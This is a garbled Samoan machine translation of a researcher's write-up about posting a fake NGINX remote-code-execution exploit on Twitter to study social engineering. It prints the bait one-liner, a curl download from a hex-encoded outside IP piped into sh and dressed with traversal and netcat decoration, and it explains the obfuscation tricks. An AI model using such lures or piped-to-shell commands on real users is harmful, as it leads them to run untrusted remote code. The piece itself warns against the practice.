Manuia o se fa'ata'ita'iga fa'aagafesootai ma se fa'aoga sese o le nginx

Manatua. fa'aliliu.: tusitala uluai tusi, lomia ia Iuni 1, filifili e faia se suesuega i latou e fiafia i faamatalaga saogalemu. Ina ia faia lenei mea, na ia saunia se faʻaoga sese mo se faʻafitauli e leʻi faʻaalia i luga o le upega tafaʻilagi ma faʻasalalau i luga o lana Twitter. O ona manatu - ia vave faʻaalia e tagata tomai faapitoa o le a vaʻaia le faʻasesega manino i totonu o le tulafono - e le gata ina le taunuu ... Na sili atu i latou i faʻamoemoega uma, ma i le isi itu: o le tweet na maua le lagolago tele mai le tele o tagata e leʻi faia. siaki mea o iai.

TL; DR: Aua le faʻaogaina faila paipa i le sh poʻo le bash i lalo o soʻo se tulaga. Ose auala sili lea e leiloa ai le pulea o lau komepiuta.

Ou te fia faʻasoa atu ia te oe se tala puupuu e uiga i se faʻataʻitaʻiga PoC malie na faia i le aso 31 o Me. Na vave ona faaali mai o ia e tali atu i tala fou mai Alisa Esage Shevchenko, sui usufono Polokalame o le Zero Day (ZDI), o faʻamatalaga e uiga i se faʻafitauli i le NGINX e tau atu i le RCE (faʻataunuʻu code mamao) o le a le pine ae faʻaalia. Talu ai ona o le NGINX o loʻo faʻamalosia le tele o upega tafaʻilagi, o tala fou atonu o se pomu. Ae ona o le tuai i le "faʻaalia faʻaalia" faʻagasologa, o faʻamatalaga o le mea na tupu e leʻi iloa - o le faiga masani a le ZDI.

Tweet e uiga i fa'amatalaga fa'aletonu ile NGINX

I le maeʻa ai o le galue i luga o se auala fou e faʻafefe ai i le curl, na ou taʻua ai le uluai tweet ma "leaʻi se PoC galue" e aofia ai se laina e tasi o le code lea e faʻaaogaina ai le faʻafitauli o loʻo maua. O le mea moni, o se mea valea atoatoa lea. Na ou manatu o le a vave ona ou faʻaalia, ma o le mea sili o le a ou maua ni nai retweets (oi).

Tweet fa'atasi ai ma le fa'aoga pepelo

Ae peitai, sa le mafai ona ou mafaufauina le mea na sosoo ai. Ua maualuga le ta'uta'ua o la'u tweet. O le mea e ofo ai, i le taimi nei (15:00 Moscow taimi Iuni 1) e toaitiiti tagata ua latou iloa o se mea sese lenei. E to'atele tagata e toe fa'afo'i e aunoa ma le siakiina (ae na'o le fa'amemelo i ata matagofie o le ASCII o lo'o fa'atinoina).

Se'i vaai i le matagofie!

E ui o nei matasele ma lanu e sili ona lelei, e manino lava e tatau i tagata ona faʻaogaina le code i luga o latou masini e vaʻai ai. O le mea e laki ai, o tagata suʻesuʻe e galulue i le auala lava e tasi, ma tuʻufaʻatasia ma le mea moni ou te leʻi manaʻo e oʻo i faʻalavelave faʻaletulafono, o le code na tanumia i totonu o laʻu upega tafaʻilagi na o le faia o telefoni e aunoa ma le taumafai e faʻapipiʻi pe faʻatino soʻo se code faaopoopo.

O se fa'aletonu la'ititi: netspooky, dnz, o a'u ma isi tama mai le 'au To'atele Sa matou taaalo i auala eseese e faʻafefe ai poloaiga curl mo sina taimi i le taimi nei ona e manaia ... ma o matou o geeks. Na maua e netspooky ma dnz le tele o metotia fou na foliga mai e matua'i manuia ia te a'u. Na ou auai i le fiafia ma taumafai e faaopoopo le suiga o le IP decimal i le taga o togafiti. E foliga mai o le IP e mafai foi ona liua i le hexadecimal format. E le gata i lea, o curl ma le tele o isi meafaigaluega NIX e 'ai fiafia i IP hexadecimal! O lea ua na o se mataupu o le fatuina o se laina faʻatonuga mautinoa ma saogalemu. Mulimuli ane sa ou filifili i le mea lenei:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-electronic engineering (SEE) - e sili atu nai lo na o le phishing

O le saogalemu ma le masani o se vaega tele o lenei suʻega. Ou te manatu o mea ia na mafua ai lona manuia. O le laina o le poloaiga na faʻaalia manino ai le saogalemu e ala i le faasino i le "127.0.0.1" (le localhost lauiloa). Localhost ua manatu e saogalemu ma o faʻamaumauga o loʻo i luga e le alu ese mai lau komepiuta.

Fa'amasani ole vaega autu lona lua SEE ole su'ega. Talu ai ona o le au faʻalogo e aofia ai tagata masani i faʻavae o le saogalemu o komepiuta, e taua le fatuina o tulafono ina ia foliga mai e masani ma masani ai vaega (ma o lea e saogalemu ai). O le nonoina o elemene o manatu faʻaoga tuai ma tuʻufaʻatasia i se auala e le masani ai ua faʻamaonia e matua manuia.

Lalo o se auiliiliga auiliili o le tasi-liner. O mea uma i luga o lenei lisi e ofuina natura teuteu, ma toetoe lava leai se mea e manaʻomia mo lona faʻatinoga moni.

O a vaega e matua mana'omia? Lenei -gsS, -O 0x0238f06a, |sh ma le web server lava ia. O le upegatafa'ilagi e leai ni fa'atonuga leaga, ae na'o le fa'aogaina o ata ASCII e fa'aaoga ai fa'atonuga echo i le tusitusiga o loʻo i totonu index.html. Ina ua ulufale le tagata faʻaoga i se laina ma |sh i le ogatotonu, index.html utaina ma faataunuuina. O le mea e lelei ai, e leai ni faʻamoemoega leaga o leoleo o le upega tafaʻilagi.

• ../../../%00 - o lo'o fa'atusalia le alu i tua atu o le lisi;
• ngx_stream_module.so - ala i se module NGINX faʻafuaseʻi;
• /bin/sh%00<'protocol:TCP' - o loʻo faʻapea ua matou tatalaina /bin/sh i luga o le masini faʻatatau ma toe faʻafeiloaʻi le gaioiga i le ala TCP;
• -O 0x0238f06a#PLToffset - mea lilo faalilolilo, faaopoopo #PLToffset, e foliga mai o se mea e manatua ai mea o loʻo i totonu o le PLT;
• |sh; - se isi vaega taua. Matou te manaʻomia le toe faʻafeiloaʻi o le gaioiga i le sh / bash ina ia mafai ai ona faʻatino le code mai le upega tafaʻilagi osofaʻi o loʻo i ai. 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - o se fa'ailoga e fa'atatau i ai le netcat /dev/tcp/localhostina ia toe foliga saogalemu mea uma. O le mea moni, e leai se mea e fai ma e aofia i le laina mo le matagofie.

E fa'ai'u ai le fa'avasegaina o le laina e tasi ma le fa'atalanoaina o vaega o le "socio-electronic engineering" (faife'au fa'akomepiuta).

Fetufa'aiga Web Server ma Fa'asagaga

Talu ai o le toʻatele o laʻu au fai saofaga o infosec/hackers, na ou filifili ai e fai le 'upega tafaʻilagi e sili atu ona teteʻe i faʻamatalaga o le "tului" ia latou vaega, ina ia maua e tama se mea e fai (ma o le a malie le seti). O le a ou le lisiina uma mailei iinei talu ai o loʻo faʻaauau pea le faʻataʻitaʻiga, ae o nai mea ia e faia e le 'auʻaunaga:

• Mata'itu lelei taumafaiga tufatufa i nisi o feso'ota'iga fa'aagafesootai ma suitulaga ata va'aiga eseese e fa'amalosia ai le tagata fa'aoga e kiliki i luga o le so'otaga.
• Toe fa'asa'o Chrome/Mozilla/Safari/etc i le Thugcrowd fa'alauiloa vitiō nai lo le fa'aalia o le atigi tusitusiga.
• Mataʻituina faʻailoga manino o le faʻalavelave / faʻalavelave faʻafuaseʻi, ona amata lea ona toe tuʻuina atu talosaga ile NSA servers (ha!).
• Faʻapipiʻi se Trojan, faʻapea foʻi ma se BIOS rootkit, i luga o komepiuta uma o latou tagata faʻaoga e asiasi i le talimalo mai se suʻesuʻega masani (naʻo le ula!).

O se vaega itiiti o antimers

I lenei tulaga, naʻo laʻu sini o le faʻatautaia o nisi o foliga o Apache - aemaise lava, tulafono lelei mo le toe faʻafeiloaʻi o talosaga - ma sa ou manatu: aisea e leai ai?

NGINX Exploit (Mo'i!)

Fa'asoa i @alisaesage luga o le Twitter ma mulimuli i le galuega tele a le ZDI i le faʻatalanoaina o faʻafitauli moni ma faʻaogaina avanoa i NGINX. O la latou galuega na ou fiafia ai i taimi uma ma ou te faafetai ia Alice mo lona onosaʻi i faʻamatalaga uma ma faʻamatalaga na mafua ai laʻu tweet valea. O le mea e lelei ai, na faia foi ni mea lelei: na fesoasoani i le faʻalauiloaina o faʻafitauli NGINX, faʻapea foʻi ma faʻafitauli e mafua mai i le faʻaleagaina o le curl.

puna: www.habr.com